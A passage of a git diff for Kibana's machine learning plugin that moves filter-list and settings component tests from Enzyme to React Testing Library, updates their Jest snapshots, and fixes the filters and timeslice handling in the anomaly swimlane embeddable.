    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/delete_filter_list_modal.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/delete_filter_list_modal.test.js index d46de282c59d9..be287c576aaec 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/delete_filter_list_modal.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/delete_filter_list_modal/delete_filter_list_modal.test.js @@ -14,8 +14,9 @@ jest.mock('../../../../capabilities/check_capabilities', () => ({ })); jest.mock('../../../../services/ml_api_service', () => 'ml'); -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen, fireEvent, waitFor } from '@testing-library/react'; import { DeleteFilterListModal } from './delete_filter_list_modal'; @@ -27,32 +28,76 @@ const testProps = { }; describe('DeleteFilterListModal', () => { - test('renders as disabled delete button when no lists selected', () => { - const component = shallowWithIntl(); + test('renders as disabled delete button when no lists selected', async () => { + const emptyListsProps = { + ...testProps, + selectedFilterLists: [], + }; - expect(component).toMatchSnapshot(); + const { container } = renderWithI18n(); + + // Find the delete button + const deleteButton = screen.getByTestId('mlFilterListsDeleteButton'); + + // Verify it's disabled + expect(deleteButton).toBeDisabled(); + + // Take a snapshot of the rendered component + expect(container.firstChild).toMatchSnapshot(); }); - test('renders as enabled delete button when a list is selected', () => { - const component = shallowWithIntl(); + test('renders as enabled delete button when a list is selected', async () => { + const { container } = renderWithI18n(); + + // Find the delete button + const deleteButton = screen.getByTestId('mlFilterListsDeleteButton'); + + // Verify it's enabled + expect(deleteButton).not.toBeDisabled(); - expect(component).toMatchSnapshot(); + // Take a snapshot of the rendered component + expect(container.firstChild).toMatchSnapshot(); }); - test('renders modal after clicking delete button', () => { - const wrapper = shallowWithIntl(); - wrapper.find('EuiButton').simulate('click'); - wrapper.update(); - expect(wrapper).toMatchSnapshot(); + test('renders modal after clicking delete button', async () => { + renderWithI18n(); + + // Find and click the delete button + const deleteButton = screen.getByTestId('mlFilterListsDeleteButton'); + fireEvent.click(deleteButton); + + // Wait for the modal to appear + await waitFor(() => { + expect(screen.getByTestId('mlFilterListDeleteConfirmation')).toBeInTheDocument(); + }); + + // Verify the modal content + expect(screen.getByText('Delete 2 filter lists?')).toBeInTheDocument(); }); - test('renders as delete button after opening and closing modal', () => { - const wrapper = shallowWithIntl(); - wrapper.find('EuiButton').simulate('click'); - const instance = wrapper.instance(); - instance.closeModal(); - wrapper.update(); - expect(wrapper).toMatchSnapshot(); + test('renders as delete button after opening and closing modal', async () => { + renderWithI18n(); + + // Find and click the delete button to open the modal + const deleteButton = screen.getByTestId('mlFilterListsDeleteButton'); + fireEvent.click(deleteButton); + + // Wait for the modal to appear + await waitFor(() => { + expect(screen.getByTestId('mlFilterListDeleteConfirmation')).toBeInTheDocument(); + }); + + // Find and click the cancel button to close the modal + const cancelButton = screen.getByText('Cancel'); + fireEvent.click(cancelButton); + + // Wait for the modal to disappear + await waitFor(() => { + expect(screen.queryByTestId('mlFilterListDeleteConfirmation')).not.toBeInTheDocument(); + }); + + // Verify the delete button is visible again + expect(screen.getByTestId('mlFilterListsDeleteButton')).toBeInTheDocument(); }); }); @@ -61,13 +106,20 @@ describe('DeleteFilterListModal false canDeleteFilter privilege', () => { jest.resetModules(); }); - test('renders as disabled delete button', () => { - mockCheckPermission.mockImplementationOnce(() => { - return false; - }); + test('renders as disabled delete button', async () => { + mockCheckPermission.mockImplementationOnce(() => false); + + const { container } = renderWithI18n( + + ); + + // Find the delete button + const deleteButton = screen.getByTestId('mlFilterListsDeleteButton'); - const component = shallowWithIntl(); + // Verify it's disabled + expect(deleteButton).toBeDisabled(); - expect(component).toMatchSnapshot(); + // Take a snapshot of the rendered component + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/__snapshots__/edit_description_popover.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/__snapshots__/edit_description_popover.test.js.snap index 1a8b962c1f146..79bb2eab0333b 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/__snapshots__/edit_description_popover.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/__snapshots__/edit_description_popover.test.js.snap @@ -1,165 +1,47 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`FilterListUsagePopover opens the popover onButtonClick 1`] = ` -
    - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} - id="filter_list_description_popover" - initialFocus="#filter_list_edit_description_row" - isOpen={true} - ownFocus={true} - panelPaddingSize="m" - repositionToCrossAxis={true} - > -
    - - - } - > - - - -
    -
    -
    -`; - exports[`FilterListUsagePopover renders the popover with a description 1`] = `
    - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
    - - - } - > - - - -
    - +
    `; exports[`FilterListUsagePopover renders the popover with no description 1`] = `
    - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
    - - - } - > - - - -
    - +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/edit_description_popover.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/edit_description_popover.test.js index ed6ae3764fd2a..836f835c8ae4c 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/edit_description_popover.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/edit_description_popover/edit_description_popover.test.js @@ -5,59 +5,89 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen, fireEvent, waitFor } from '@testing-library/react'; import { EditDescriptionPopover } from './edit_description_popover'; -function prepareTest(updateDescriptionFn) { - const props = { - description: 'A list of known safe domains', - updateDescription: updateDescriptionFn, - canCreateFilter: true, - }; - - const wrapper = shallowWithIntl(); - - return wrapper; -} - describe('FilterListUsagePopover', () => { + const defaultDescription = 'A list of known safe domains'; test('renders the popover with no description', () => { - const updateDescription = jest.fn(() => {}); - + const updateDescription = jest.fn(); const props = { updateDescription, canCreateFilter: true, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders the popover with a description', () => { - const updateDescription = jest.fn(() => {}); - const wrapper = prepareTest(updateDescription); - expect(wrapper).toMatchSnapshot(); + const updateDescription = jest.fn(); + const props = { + description: defaultDescription, + updateDescription, + canCreateFilter: true, + }; + + const { container } = renderWithI18n(); + + expect(container.firstChild).toMatchSnapshot(); }); - test('opens the popover onButtonClick', () => { - const updateDescription = jest.fn(() => {}); - const wrapper = prepareTest(updateDescription); - const instance = wrapper.instance(); - instance.onButtonClick(); - wrapper.update(); - expect(wrapper).toMatchSnapshot(); + test('opens the popover when clicking the button', async () => { + const updateDescription = jest.fn(); + const props = { + description: defaultDescription, + updateDescription, + canCreateFilter: true, + }; + + renderWithI18n(); + + const editButton = screen.getByTestId('mlFilterListEditDescriptionButton'); + fireEvent.click(editButton); + + await waitFor(() => { + expect(screen.getByTestId('mlFilterListDescriptionInput')).toBeInTheDocument(); + }); + + // Verify the input has the correct initial value + const input = screen.getByTestId('mlFilterListDescriptionInput'); + expect(input.value).toBe(defaultDescription); }); - test('calls updateDescription on closing', () => { - const updateDescription = jest.fn(() => {}); - const wrapper = prepareTest(updateDescription); - const instance = wrapper.instance(); - instance.onButtonClick(); - instance.closePopover(); - wrapper.update(); - expect(updateDescription).toHaveBeenCalled(); + test('calls updateDescription when closing the popover', async () => { + const updateDescription = jest.fn(); + const props = { + description: defaultDescription, + updateDescription, + canCreateFilter: true, + }; + + renderWithI18n(); + + const editButton = screen.getByTestId('mlFilterListEditDescriptionButton'); + fireEvent.click(editButton); + + await waitFor(() => { + expect(screen.getByTestId('mlFilterListDescriptionInput')).toBeInTheDocument(); + }); + + // Change the description + const input = screen.getByTestId('mlFilterListDescriptionInput'); + fireEvent.change(input, { target: { value: 'Updated description' } }); + + // Click outside to close the popover (simulated by calling EuiPopover's closePopover prop) + // In RTL, we can't easily click outside, so we'll click the button again to close it + fireEvent.click(editButton); + + // Verify updateDescription was called with the new value + await waitFor(() => { + expect(updateDescription).toHaveBeenCalledWith('Updated description'); + }); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/__snapshots__/filter_list_usage_popover.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/__snapshots__/filter_list_usage_popover.test.js.snap index c34b4a218b038..a0009c4ff1958 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/__snapshots__/filter_list_usage_popover.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/__snapshots__/filter_list_usage_popover.test.js.snap @@ -1,123 +1,49 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP -exports[`FilterListUsagePopover opens the popover onButtonClick 1`] = ` -
    - - 3 detectors - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} - id="detector_filter_list_usage" - isOpen={true} - ownFocus={true} - panelClassName="ml-filter-list-usage-popover" - panelPaddingSize="m" - repositionToCrossAxis={true} - > -
      -
    • - mean responsetime -
    • -
    • - max responsetime -
    • -
    • - count -
    • -
    -
    -
    -`; - exports[`FilterListUsagePopover renders the popover for 1 job 1`] = `
    - - 1 job - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
      -
    • - farequote -
    • -
    - + +
    `; exports[`FilterListUsagePopover renders the popover for 2 detectors 1`] = `
    - - 3 detectors - - } - closePopover={[Function]} - display="inline-block" - hasArrow={true} +
    -
      -
    • - mean responsetime -
    • -
    • - max responsetime -
    • -
    • - count -
    • -
    - + +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/filter_list_usage_popover.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/filter_list_usage_popover.test.js index a0809278b81d9..ab0197b663a49 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/filter_list_usage_popover.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/components/filter_list_usage_popover/filter_list_usage_popover.test.js @@ -5,22 +5,12 @@ * 2.0. */ -import { shallow } from 'enzyme'; import React from 'react'; +import { render } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; import { FilterListUsagePopover } from './filter_list_usage_popover'; -function prepareDetectorsTest() { - const props = { - entityType: 'detector', - entityValues: ['mean responsetime', 'max responsetime', 'count'], - }; - - const wrapper = shallow(); - - return { wrapper }; -} - describe('FilterListUsagePopover', () => { test('renders the popover for 1 job', () => { const props = { @@ -28,21 +18,37 @@ describe('FilterListUsagePopover', () => { entityValues: ['farequote'], }; - const component = shallow(); - - expect(component).toMatchSnapshot(); + const { container } = render(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders the popover for 2 detectors', () => { - const test = prepareDetectorsTest(); - expect(test.wrapper).toMatchSnapshot(); + const detectorProps = { + entityType: 'detector', + entityValues: ['mean responsetime', 'max responsetime', 'count'], + }; + const { container } = render(); + expect(container.firstChild).toMatchSnapshot(); }); - test('opens the popover onButtonClick', () => { - const test = prepareDetectorsTest(); - const instance = test.wrapper.instance(); - instance.onButtonClick(); - test.wrapper.update(); - expect(test.wrapper).toMatchSnapshot(); + test('opens the popover on button click', async () => { + const detectorProps = { + entityType: 'detector', + entityValues: ['mean responsetime', 'max responsetime', 'count'], + }; + const { getByRole, queryByText, getByText } = render( + + ); + + // Popover should be closed initially + expect(queryByText('mean responsetime')).not.toBeInTheDocument(); + + const user = userEvent.setup(); + await user.click(getByRole('button')); + + // Verify popover content is visible without using snapshots + expect(getByText('mean responsetime')).toBeInTheDocument(); + expect(getByText('max responsetime')).toBeInTheDocument(); + expect(getByText('count')).toBeInTheDocument(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/header.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/header.test.js.snap index 87ac86f5c9178..6bfd20dcef3fe 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/header.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/header.test.js.snap @@ -1,409 +1,467 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`EditFilterListHeader renders the header when creating a new filter list with ID, description and items set 1`] = ` - - - - - +
    - - - -

    - + 15 items in total

    -
    -
    -
    -
    - - +
    +
    +
    +
    +
    - - } +
    - - - + +
    +
    +
    +
    + +
    +
    +
    + Use lowercase alphanumerics (a-z and 0-9), hyphens or underscores; must start and end with an alphanumeric character +
    +
    +
    +
    - -

    A test filter list

    -
    -
    - +
    +
    - - - - +
    + +
    +
    +
    +
    +
    - +
    `; exports[`EditFilterListHeader renders the header when creating a new filter list with the ID not set 1`] = ` - - - - - +
    - - - -

    - + 0 items in total

    -
    -
    -
    -
    - - +
    +
    +

    + +
    - - } - > - - - - - - + Filter list ID + +
    +
    +
    +
    - - - - - + +
    +
    +
    +
    + Use lowercase alphanumerics (a-z and 0-9), hyphens or underscores; must start and end with an alphanumeric character +
    + + +
    +
    - - - - + + Add a description + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    - +
    `; exports[`EditFilterListHeader renders the header when editing an existing unused filter list with no description or items 1`] = ` - - - - - +
    - - - -

    - + 0 items in total

    -
    -
    -
    -
    - - +
    + + + +
    - - - - + - - - - - +
    + +
    - - - - +
    + +
    +
    + + +
    - +

    - + This filter list is not used by any jobs.

    - - +
    - +
    `; exports[`EditFilterListHeader renders the header when editing an existing used filter list with description and items set 1`] = ` - - - - - +
    - - - -

    - + 15 items in total

    -
    -
    -
    -
    - - +
    +
    +
    + +
    - - -

    A test filter list

    -
    -
    - +
    +
    - - - - +
    + +
    +
    + + +
    - - - - - - - - +
    + This filter list is used in +
    +
    +
    + +
    +
    +
    + across +
    +
    +
    + +
    +
    - - +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/toolbar.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/toolbar.test.js.snap index beaafd979ed8d..3a634f43d16f6 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/toolbar.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/__snapshots__/toolbar.test.js.snap @@ -1,73 +1,194 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`EditFilterListToolbar renders the toolbar with no items selected 1`] = ` - - +
    - - , - +
    +
    +
    +
    - - , - ] - } - /> - - - + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + `; exports[`EditFilterListToolbar renders the toolbar with one item selected 1`] = ` - - +
    - - , - +
    +
    +
    +
    + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/header.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/header.test.js index 039acc0bef1eb..9c07da5408706 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/header.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/header.test.js @@ -5,8 +5,8 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { EditFilterListHeader } from './header'; @@ -29,9 +29,9 @@ describe('EditFilterListHeader', () => { totalItemCount: 0, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders the header when creating a new filter list with ID, description and items set', () => { @@ -43,9 +43,9 @@ describe('EditFilterListHeader', () => { totalItemCount: 15, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders the header when editing an existing unused filter list with no description or items', () => { @@ -55,9 +55,9 @@ describe('EditFilterListHeader', () => { totalItemCount: 0, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); test('renders the header when editing an existing used filter list with description and items set', () => { @@ -72,8 +72,8 @@ describe('EditFilterListHeader', () => { }, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/toolbar.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/toolbar.test.js index 7935b7dce3185..780188b8443b2 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/toolbar.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/edit/toolbar.test.js @@ -5,8 +5,8 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import { EditFilterListToolbar } from './toolbar'; @@ -29,9 +29,9 @@ describe('EditFilterListToolbar', () => { selectedItemCount: 0, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders the toolbar with one item selected', () => { @@ -40,8 +40,8 @@ describe('EditFilterListToolbar', () => { selectedItemCount: 1, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/header.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/header.test.js.snap index 4687f71e007fd..3f33fd2669ae9 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/header.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/header.test.js.snap @@ -1,136 +1,97 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`Filter Lists Header renders header 1`] = ` - +
    +
    +
    +
    +
    + +

    + 3 in total +

    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +

    + + Filter lists contain values that you can use to include or exclude events from the machine learning analysis. +You can use the same filter list in multiple jobs. +
    + + Learn more + + + (external, opens in a new tab or window) + + +
    +

    +
    +
    +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/table.test.js.snap b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/table.test.js.snap index 9ac0bcd5ce5bd..575c15735c86b 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/table.test.js.snap +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/__snapshots__/table.test.js.snap @@ -1,221 +1,1136 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP exports[`Filter Lists Table renders with filter lists and selection supplied 1`] = ` - -
    - , - , - ], - } - } - searchFormat="eql" - selection={ - Object { - "onSelectionChange": [Function], - "selectable": [Function], - "selectableMessage": [Function], - } - } - sorting={ - Object { - "sort": Object { - "direction": "asc", - "field": "filter_id", - }, - } - } - tableLayout="fixed" +
    +
    +
    +
    +
    +
    +
    + + +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + + + + + + + + + + + + + + +
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    + + List of known safe domains + +
    +
    +
    + + 500 + +
    +
    +
    + + In use + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    + + US East AWS instances + +
    +
    +
    + + 20 + +
    +
    +
    + + Not in use + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    - +
    `; exports[`Filter Lists Table renders with filter lists supplied 1`] = ` - -
    - , - , - ], - } - } - searchFormat="eql" - selection={ - Object { - "onSelectionChange": [Function], - "selectable": [Function], - "selectableMessage": [Function], - } - } - sorting={ - Object { - "sort": Object { - "direction": "asc", - "field": "filter_id", - }, - } - } - tableLayout="fixed" +
    +
    +
    +
    +
    +
    +
    + + +
    + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + + + + + + + + + + + + + + +
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    + + List of known safe domains + +
    +
    +
    + + 500 + +
    +
    +
    + + In use + +
    +
    +
    +
    +
    + + +
    +
    +
    +
    + + +
    + + US East AWS instances + +
    +
    +
    + + 20 + +
    +
    +
    + + Not in use + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    - +
    `; diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/header.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/header.test.js index 4357dad093dad..bec233b38b490 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/header.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/header.test.js @@ -5,13 +5,35 @@ * 2.0. */ -import { shallowWithIntl } from '@kbn/test-jest-helpers'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; import React from 'react'; +// Mock the Kibana context +jest.mock('@kbn/kibana-react-plugin/public', () => ({ + withKibana: (Component) => { + const MockedComponent = (props) => { + const kibana = { + services: { + docLinks: { + links: { + ml: { + customRules: + 'https://www.elastic.co/guide/en/machine-learning/current/ml-rules.html', + }, + }, + }, + }, + }; + return ; + }; + return MockedComponent; + }, +})); + import { FilterListsHeader } from './header'; describe('Filter Lists Header', () => { - const refreshFilterLists = jest.fn(() => {}); + const refreshFilterLists = jest.fn(); const requiredProps = { totalCount: 3, @@ -23,8 +45,8 @@ describe('Filter Lists Header', () => { ...requiredProps, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/table.test.js b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/table.test.js index add92b804ee39..e0a09a958dc82 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/table.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/filter_lists/list/table.test.js @@ -12,8 +12,18 @@ jest.mock('../../../capabilities/check_capabilities', () => ({ })); jest.mock('../../../services/ml_api_service', () => 'ml'); -import { shallowWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; + +// Mock the react-router-dom Link component +jest.mock('react-router-dom', () => ({ + Link: ({ to, children }) => {children}, +})); + +// Mock the useCreateAndNavigateToManagementMlLink hook +jest.mock('../../../contexts/kibana/use_create_url', () => ({ + useCreateAndNavigateToManagementMlLink: () => jest.fn(), +})); import { FilterListsTable } from './table'; @@ -49,9 +59,9 @@ describe('Filter Lists Table', () => { filterLists: testFilterLists, }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); test('renders with filter lists and selection supplied', () => { @@ -61,8 +71,8 @@ describe('Filter Lists Table', () => { selectedFilterLists: [testFilterLists[0]], }; - const component = shallowWithIntl(); + const { container } = renderWithI18n(); - expect(component).toMatchSnapshot(); + expect(container.firstChild).toMatchSnapshot(); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/application/settings/settings.test.tsx b/x-pack/platform/plugins/shared/ml/public/application/settings/settings.test.tsx index afd3fb1a3142d..acd09ab51b917 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/settings/settings.test.tsx +++ b/x-pack/platform/plugins/shared/ml/public/application/settings/settings.test.tsx @@ -5,8 +5,9 @@ * 2.0. */ -import { mountWithIntl } from '@kbn/test-jest-helpers'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { screen } from '@testing-library/react'; import { Settings } from './settings'; @@ -38,27 +39,23 @@ describe('Settings', () => { isCalendarsMngDisabled: boolean, isCalendarCreateDisabled: boolean ) { - const wrapper = mountWithIntl(); + renderWithI18n(); - const filterMngButton = wrapper - .find('[data-test-subj="mlFilterListsMngButton"]') - .find('EuiButtonEmpty'); - expect(filterMngButton.prop('isDisabled')).toBe(isFilterListsMngDisabled); + // Check filter lists manage button + const filterMngButton = screen.getByTestId('mlFilterListsMngButton'); + expect(filterMngButton.hasAttribute('disabled')).toBe(isFilterListsMngDisabled); - const filterCreateButton = wrapper - .find('[data-test-subj="mlFilterListsCreateButton"]') - .find('EuiButtonEmpty'); - expect(filterCreateButton.prop('isDisabled')).toBe(isFilterListCreateDisabled); + // Check filter lists create button + const filterCreateButton = screen.getByTestId('mlFilterListsCreateButton'); + expect(filterCreateButton.hasAttribute('disabled')).toBe(isFilterListCreateDisabled); - const calendarMngButton = wrapper - .find('[data-test-subj="mlCalendarsMngButton"]') - .find('EuiButtonEmpty'); - expect(calendarMngButton.prop('isDisabled')).toBe(isCalendarsMngDisabled); + // Check calendars manage button + const calendarMngButton = screen.getByTestId('mlCalendarsMngButton'); + expect(calendarMngButton.hasAttribute('disabled')).toBe(isCalendarsMngDisabled); - const calendarCreateButton = wrapper - .find('[data-test-subj="mlCalendarsCreateButton"]') - .find('EuiButtonEmpty'); - expect(calendarCreateButton.prop('isDisabled')).toBe(isCalendarCreateDisabled); + // Check calendars create button + const calendarCreateButton = screen.getByTestId('mlCalendarsCreateButton'); + expect(calendarCreateButton.hasAttribute('disabled')).toBe(isCalendarCreateDisabled); } test('should render settings page with all buttons enabled when full user capabilities', () => { diff --git a/x-pack/platform/plugins/shared/ml/public/application/timeseriesexplorer/components/timeseries_chart/timeseries_chart.test.js b/x-pack/platform/plugins/shared/ml/public/application/timeseriesexplorer/components/timeseries_chart/timeseries_chart.test.js index d9ec6dea88497..bf66ab5c13dec 100644 --- a/x-pack/platform/plugins/shared/ml/public/application/timeseriesexplorer/components/timeseries_chart/timeseries_chart.test.js +++ b/x-pack/platform/plugins/shared/ml/public/application/timeseriesexplorer/components/timeseries_chart/timeseries_chart.test.js @@ -6,9 +6,9 @@ */ import moment from 'moment-timezone'; -import { mountWithIntl } from '@kbn/test-jest-helpers'; -import { createKibanaReactContext } from '@kbn/kibana-react-plugin/public'; import React from 'react'; +import { renderWithI18n } from '@kbn/test-jest-helpers'; +import { createKibanaReactContext } from '@kbn/kibana-react-plugin/public'; import { TimeseriesChart } from './timeseries_chart'; @@ -74,12 +74,14 @@ describe('TimeseriesChart', () => { test('Minimal initialization', () => { const props = getTimeseriesChartPropsMock(); - const wrapper = mountWithIntl( + const { container } = renderWithI18n( ); - expect(wrapper.html()).toBe('
    '); + // Verify the chart container is rendered with the correct class + expect(container.querySelector('.ml-timeseries-chart-react')).toBeInTheDocument(); + expect(container.innerHTML).toBe('
    '); }); }); diff --git a/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/anomaly_swimlane_embeddable_factory.tsx b/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/anomaly_swimlane_embeddable_factory.tsx index 622865b12587d..bc0e7616bbc7d 100644 --- a/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/anomaly_swimlane_embeddable_factory.tsx +++ b/x-pack/platform/plugins/shared/ml/public/embeddables/anomaly_swimlane/anomaly_swimlane_embeddable_factory.tsx @@ -19,6 +19,7 @@ import { apiHasExecutionContext, apiHasParentApi, apiPublishesTimeRange, + apiPublishesTimeslice, fetch$, initializeTimeRangeManager, initializeTitleManager, @@ -118,11 +119,10 @@ export const getAnomalySwimLaneEmbeddableFactory = ( ? new BehaviorSubject(initialState.rawState.query) : (parentApi as Partial)?.query$) ?? new BehaviorSubject(undefined)) as PublishesUnifiedSearch['query$']; - const filters$ = - (initialState.rawState.query - ? new BehaviorSubject(initialState.rawState.filters) - : (parentApi as Partial)?.filters$) ?? - (new BehaviorSubject(undefined) as PublishesUnifiedSearch['filters$']); + const filters$ = ((initialState.rawState.filters + ? new BehaviorSubject(initialState.rawState.filters) + : (parentApi as Partial)?.filters$) ?? + new BehaviorSubject(undefined)) as PublishesUnifiedSearch['filters$']; const refresh$ = new BehaviorSubject(undefined); @@ -223,7 +223,7 @@ export const getAnomalySwimLaneEmbeddableFactory = ( apiHasParentApi(api) && apiPublishesTimeRange(api.parentApi) ? api.parentApi.timeRange$ : of(null), - apiHasParentApi(api) && apiPublishesTimeRange(api.parentApi) + apiHasParentApi(api) && apiPublishesTimeslice(api.parentApi) ? api.parentApi.timeslice$ : 